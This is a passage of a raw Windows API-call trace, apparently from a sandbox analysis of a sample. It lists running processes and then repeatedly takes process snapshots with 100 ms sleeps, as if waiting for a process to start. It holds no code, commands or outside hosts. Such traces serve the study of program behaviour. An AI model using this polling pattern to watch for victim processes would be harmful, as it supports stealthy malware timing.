th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0097.937] Process32Next (in: hSnapshot=0x1b1c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0097.939] Process32Next (in: hSnapshot=0x1b1c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0097.941] Process32Next (in: hSnapshot=0x1b1c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0097.943] Process32Next (in: hSnapshot=0x1b1c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0097.945] Process32Next (in: hSnapshot=0x1b1c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0097.947] Process32Next (in: hSnapshot=0x1b1c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0097.948] Process32Next (in: hSnapshot=0x1b1c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0097.954] Process32Next (in: hSnapshot=0x1b1c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0097.957] Process32Next (in: hSnapshot=0x1b1c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0097.958] Process32Next (in: hSnapshot=0x1b1c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0097.960] Process32Next (in: hSnapshot=0x1b1c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0097.962] Process32Next (in: hSnapshot=0x1b1c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0097.963] Process32Next (in: hSnapshot=0x1b1c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0097.965] Process32Next (in: hSnapshot=0x1b1c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0098.017] Sleep (dwMilliseconds=0x64) [0098.117] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x14b8 [0098.129] Process32First (in: hSnapshot=0x14b8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0098.256] Sleep (dwMilliseconds=0x64) [0098.357] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b30 [0098.372] Process32First (in: hSnapshot=0x1b30, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0098.485] Sleep (dwMilliseconds=0x64) [0098.588] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xba4 [0098.602] Process32First (in: hSnapshot=0xba4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0098.673] Sleep (dwMilliseconds=0x64) [0098.786] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b18 [0098.797] Process32First (in: hSnapshot=0x1b18, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0098.861] Sleep (dwMilliseconds=0x64) [0098.961] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1e64 [0098.975] Process32First (in: hSnapshot=0x1e64, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0099.100] Sleep (dwMilliseconds=0x64) [0099.259] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x14b8 [0099.273] Process32First (in: hSnapshot=0x14b8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0099.377] Sleep (dwMilliseconds=0x64) [0099.478] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b24 [0099.491] Process32First (in: hSnapshot=0x1b24, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0099.630] Sleep (dwMilliseconds=0x64) [0099.784] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b24 [0099.799] Process32First (in: hSnapshot=0x1b24, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0099.939] Sleep (dwMilliseconds=0x64) [0100.040] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x145c [0100.052] Process32First (in: hSnapshot=0x145c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0100.130] Sleep (dwMilliseconds=0x64) [0100.232] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x145c [0100.243] Process32First (in: hSnapshot=0x145c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0100.337] Sleep (dwMilliseconds=0x64) [0100.514] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1df8 [0100.532] Process32First (in: hSnapshot=0x1df8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0100.630] Sleep (dwMilliseconds=0x64) [0100.798] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1ddc [0100.813] Process32First (in: hSnapshot=0x1ddc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0100.927] Sleep (dwMilliseconds=0x64) [0101.120] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1dfc [0101.132] Process32First (in: hSnapshot=0x1dfc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0101.199] Sleep (dwMilliseconds=0x64) [0101.301] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b14 [0101.318] Process32First (in: hSnapshot=0x1b14, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0101.429] Sleep (dwMilliseconds=0x64) [0101.549] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1ae8 [0101.589] Process32First (in: hSnapshot=0x1ae8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0101.687] Sleep (dwMilliseconds=0x64) [0101.879] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1e10 [0101.920] Process32First (in: hSnapshot=0x1e10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0101.995] Sleep (dwMilliseconds=0x64) [0102.130] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b14 [0102.143] Process32First (in: hSnapshot=0x1b14, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0102.242] Sleep (dwMilliseconds=0x64) [0102.464] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1de0 [0102.476] Process32First (in: hSnapshot=0x1de0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0102.585] Sleep (dwMilliseconds=0x64) [0102.689] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b18 [0102.701] Process32First (in: hSnapshot=0x1b18, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0102.801] Sleep (dwMilliseconds=0x64) [0103.022] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b18 [0103.056] Process32First (in: hSnapshot=0x1b18, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0103.191] Sleep (dwMilliseconds=0x64) [0103.384] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1dac [0103.420] Process32First (in: hSnapshot=0x1dac, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0103.532] Sleep (dwMilliseconds=0x64) [0103.632] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1e0c [0103.650] Process32First (in: hSnapshot=0x1e0c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0103.722] Sleep (dwMilliseconds=0x64) [0103.827] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1abc [0103.843] Process32First (in: hSnapshot=0x1abc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0103.959] Sleep (dwMilliseconds=0x64) [0104.090] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1ab8 [0104.104] Process32First (in: hSnapshot=0x1ab8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0104.211] Sleep (dwMilliseconds=0x64) [0104.312] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1dbc [0104.324] Process32First (in: hSnapshot=0x1dbc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0104.437] Sleep (dwMilliseconds=0x64) [0104.607] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1d9c [0104.629] Process32First (in: hSnapshot=0x1d9c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0104.761] Sleep (dwMilliseconds=0x64) [0104.869] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1ae4 [0104.882] Process32First (in: hSnapshot=0x1ae4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0104.949] Sleep (dwMilliseconds=0x64) [0105.050] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1d98 [0105.071] Process32First (in: hSnapshot=0x1d98, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0105.174] Sleep (dwMilliseconds=0x64) [0105.314] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1da4 [0105.327] Process32First (in: hSnapshot=0x1da4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0105.485] Sleep (dwMilliseconds=0x64) [0105.619] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1d7c [0105.631] Process32First (in: hSnapshot=0x1d7c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0105.726] Sleep (dwMilliseconds=0x64) [0105.889] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1dac [0105.902] Process32First (in: hSnapshot=0x1dac, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0105.978] Sleep (dwMilliseconds=0x64) [0106.078] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1ad4 [0106.153] Process32First (in: hSnapshot=0x1ad4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0106.216] Sleep (dwMilliseconds=0x64) [0106.386] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1d6c [0106.413] Process32First (in: hSnapshot=0x1d6c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0106.512] Sleep (dwMilliseconds=0x64) [0106.665] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1a98 [0106.677] Process32First (in: hSnapshot=0x1a98, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0106.744] Sleep (dwMilliseconds=0x64) [0106.844] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1dac [0106.858] Process32First (in: hSnapshot=0x1dac, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0106.930] Sleep (dwMilliseconds=0x64) [0107.079] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1d3c [0107.094] Process32First (in: hSnapshot=0x1d3c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0107.212] Sleep (dwMilliseconds=0x64) [0107.385] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1aec [0107.428] Process32First (in: hSnapshot=0x1aec, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0107.538] Sleep (dwMilliseconds=0x64) [0107.677] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1d1c [0107.695] Process32First (in: hSnapshot=0x1d1c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0107.818] Sleep (dwMilliseconds=0x64) [0107.959] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1dac [0107.979] Process32First (in: hSnapshot=0x1dac, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0108.116] Sleep (dwMilliseconds=0x64) [0108.372] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1dfc [0108.439] Process32First (in: hSnapshot=0x1dfc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0108.529] Sleep (dwMilliseconds=0x64) [0108.656] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1a74 [0108.675] Process32First (in: hSnapshot=0x1a74, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0108.791] Sleep (dwMilliseconds=0x64) [0108.893] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1a88 [0108.908] Process32First (in: hSnapshot=0x1a88, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0109.111] Sleep (dwMilliseconds=0x64) [0109.212] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1d54 [0109.231] Process32First (in: hSnapshot=0x1d54, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0109.327] Sleep (dwMilliseconds=0x64) [0109.531] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1a8c [0109.550] Process32First (in: hSnapshot=0x1a8c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0109.636] Sleep (dwMilliseconds=0x64) [0109.736] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1d5c [0109.766] Process32First (in: hSnapshot=0x1d5c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0109.839] Sleep (dwMilliseconds=0x64) [0109.968] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1d54 [0110.037] Process32First (in: hSnapshot=0x1d54, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0110.146] Sleep (dwMilliseconds=0x64) [0110.250] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1d54 [0110.272] Process32First (in: hSnapshot=0x1d54, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0110.338] Sleep (dwMilliseconds=0x64) [0110.453] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1d34 [0110.469] Process32First (in: hSnapshot=0x1d34, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0110.584] Sleep (dwMilliseconds=0x64) [0110.685] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1d20 [0110.701] Process32First (in: hSnapshot=0x1d20, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, 